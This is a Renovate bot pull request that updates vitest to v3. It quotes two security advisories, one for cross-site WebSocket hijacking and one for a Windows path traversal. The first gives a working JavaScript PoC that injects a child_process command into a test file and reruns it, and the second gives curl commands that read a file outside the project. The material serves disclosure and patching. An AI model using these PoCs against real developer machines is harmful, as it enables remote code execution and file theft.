Skip to content

Update dependency vitest to v3 [SECURITY] - #50

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

Update dependency vitest to v3 [SECURITY]#50
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovaterenovateBot commented Feb 4, 2025

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

PackageChangeAgeConfidence
vitest (source)^2.0.0^3.0.0ageconfidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flattedconstFlatted=function(n){"use strict";functiont(n){returnt="function"==typeofSymbol&&"symbol"==typeofSymbol.iterator?function(n){returntypeofn}:function(n){returnn&&"function"==typeofSymbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeofn},t(n)}varr=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){returnt},l=function(n){returnninstanceofu?u(n):n},s=function(n,r){returnt(r)===f?newu(r):r},y=functionn(r,e,f,a){for(varl=[],s=o(f),y=s.length,p=0;p<y;p++){varv=s[p],S=f[v];if(Sinstanceofu){varb=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}elsef[v]!==i&&(f[v]=a.call(f,v,S))}for(varm=l.length,g=0;g<m;g++){varh=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}returnf},p=function(n,t,r){vare=u(t.push(r)-1);returnn.set(r,e),e},v=function(n,e){varo=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,newSet,u,f):u;returnf.call({"":i},"",i)},S=function(n,r,o){for(varu=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void0}:r||a,i=newMap,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";functionS(n,r){if(v)returnv=!v,r;vare=u.call(this,n,r);switch(t(e)){casec:if(null===e)returne;casef:returni.get(e)||p(i,l,e)}returne}};returnn.fromJSON=function(n){returnv(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){returnr(S(n))},n}({});// actual code to runconstws=newWebSocket('ws://localhost:51204/__vitest_api__')ws.addEventListener('message',e=>{console.log(e.data)})ws.addEventListener('open',()=>{ws.send(Flatted.stringify({t: 'q',i: crypto.randomUUID(),m: "getFiles",a: []}))consttestFilePath="/path/to/test-file/basic.test.ts"// use a test file returned from the response of "getFiles"// edit file content to inject command executionws.send(Flatted.stringify({t: 'q',i: crypto.randomUUID(),m: "saveTestFile",a: [testFilePath,"import child_process from 'child_process';child_process.execSync('calc')"]}))// rerun the tests to run the injected command execution codews.send(Flatted.stringify({t: 'q',i: crypto.randomUUID(),m: "rerun",a: [testFilePath]}))})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


When Vitest UI server is listening, arbitrary file can be read and executed

CVE-2026-47429 / GHSA-5xrq-8626-4rwp

More information

Details

Summary

Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network.

Impact

Only users that match either of the following conditions are affected:

  • explicitly exposes the Vitest UI server to the network (using --api.host or api.host config option)
  • running the Vitest UI or Browser Mode on Windows
Details

The API handler for /__vitest_attachment__ uses the deprecated isFileServingAllowed incorrectly.
https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
The function expects the passed value to use cleanUrl after the check before file system related operation.
Because of this, it is possible to bypass the check by \\?\\..\\. This is not possible on Linux as Linux errors if a directory named ? does not exist.

A similar problem exists in other places as well.

That said, this isFileServingAllowed check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using saveTestFile and running it using rerun. This means exposing the API / Vitest UI is equivalent to giving script execution access.
On the browser mode side, there're readFile / writeFile / saveSnapshotFile. So exposing the browser mode is equivalent to giving file read / write access.

PoC
  1. Run Vitest UI
  2. Get the API token by curl http://localhost:51204/__vitest__/
  3. Run curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&amp;contentType=text/plain&amp;token=$TOKEN" (TOKEN is the API token)
  4. curl shows the content of secret.txt that is outside the project directory
Mitigations

Vitest now ships two configuration flags, allowWrite and allowExec, that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-localhost host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients.

When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See browser.api.

Users who require the full interactive UI on a networked host must explicitly opt in by setting allowWrite and/or allowExec to true.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v3.2.6

Compare Source

v3.2.5

Compare Source

v3.2.4

Compare Source

🐞 Bug Fixes
View changes on GitHub

v3.2.3

Compare Source

🚀 Features
🐞 Bug Fixes
View changes on GitHub

v3.2.2

Compare Source

🚀 Features
🐞 Bug Fixes
View changes on GitHub

v3.2.1

Compare Source

🐞 Bug Fixes
View changes on GitHub

v3.2.0

Compare Source

🚀 Features
🐞 Bug Fixes
View changes on GitHub

v3.1.4

Compare Source

🐞 Bug Fixes
View changes on GitHub

v3.1.3

Compare Source

🐞 Bug Fixes
View changes on GitHub

v3.1.2

Compare Source

🐞 Bug Fixes
🏎 Performance
View changes on GitHub

v3.1.1

Compare Source

🐞 Bug Fixes
View changes on GitHub

v3.1.0

Compare Source

🚀 Features
🐞 Bug Fixes
🏎 Performance
View changes on GitHub

v3.0.9

Compare Source

🐞 Bug Fixes

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 71cc7ee to 45af402CompareMarch 3, 2025 11:54
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 45af402 to 047a3efCompareMarch 11, 2025 11:06
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 047a3ef to 2bc195fCompareApril 1, 2025 11:45
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 2bc195f to ab43697CompareApril 8, 2025 12:35
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from ab43697 to 4186989CompareApril 24, 2025 10:56
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 4186989 to c169dd3CompareMay 19, 2025 21:11
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from c169dd3 to dd3963eCompareJune 4, 2025 11:11
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from dd3963e to bcaf321CompareJune 22, 2025 14:57
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from bcaf321 to 9987808CompareJuly 2, 2025 19:15
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from d9e2cc1 to fc1ba05CompareAugust 13, 2025 14:39
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from fc1ba05 to a51b8f7CompareAugust 19, 2025 17:38
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from a51b8f7 to d860762CompareAugust 31, 2025 14:36
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from d860762 to 3bd4ab9CompareSeptember 25, 2025 18:26
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 3bd4ab9 to af50d41CompareOctober 21, 2025 20:15
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from af50d41 to 7c19d60CompareNovember 10, 2025 20:07
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 7c19d60 to b7f2e11CompareDecember 31, 2025 16:27
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from b7f2e11 to d96fc24CompareJanuary 8, 2026 19:58
@renovaterenovateBot changed the title chore(deps): update dependency vitest to v2.1.9 [security]chore(deps): update dependency vitest to v2.1.9 [security] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
@renovate
renovateBot deleted the renovate/npm-vitest-vulnerability branch March 27, 2026 02:10
@renovaterenovateBot changed the title chore(deps): update dependency vitest to v2.1.9 [security] - autoclosedchore(deps): update dependency vitest to v2.1.9 [security]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from d96fc24 to ee6dabeCompareMarch 30, 2026 17:45
@renovaterenovateBot changed the title chore(deps): update dependency vitest to v2.1.9 [security]Update dependency vitest to v2.1.9 [SECURITY]Apr 8, 2026
@renovaterenovateBot changed the title Update dependency vitest to v2.1.9 [SECURITY]Update dependency vitest to v2.1.9 [SECURITY] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
@renovaterenovateBot changed the title Update dependency vitest to v2.1.9 [SECURITY] - autoclosedUpdate dependency vitest to v2.1.9 [SECURITY]Apr 27, 2026
@renovaterenovateBot reopened this Apr 27, 2026
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from ee6dabe to 36b4f4eCompareApril 27, 2026 23:15
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 36b4f4e to 177c411CompareJune 1, 2026 17:47
@renovaterenovateBot changed the title Update dependency vitest to v2.1.9 [SECURITY]Update dependency vitest to v4 [SECURITY]Jun 1, 2026
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from 177c411 to f5b357eCompareJune 8, 2026 18:43
@renovaterenovateBot changed the title Update dependency vitest to v4 [SECURITY]Update dependency vitest to v2.1.9 [SECURITY]Jun 8, 2026
@renovate
renovateBotforce-pushed the renovate/npm-vitest-vulnerability branch from f5b357e to f5c800aCompareJune 8, 2026 21:50
@renovaterenovateBot changed the title Update dependency vitest to v2.1.9 [SECURITY]Update dependency vitest to v3 [SECURITY]Jun 8, 2026
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants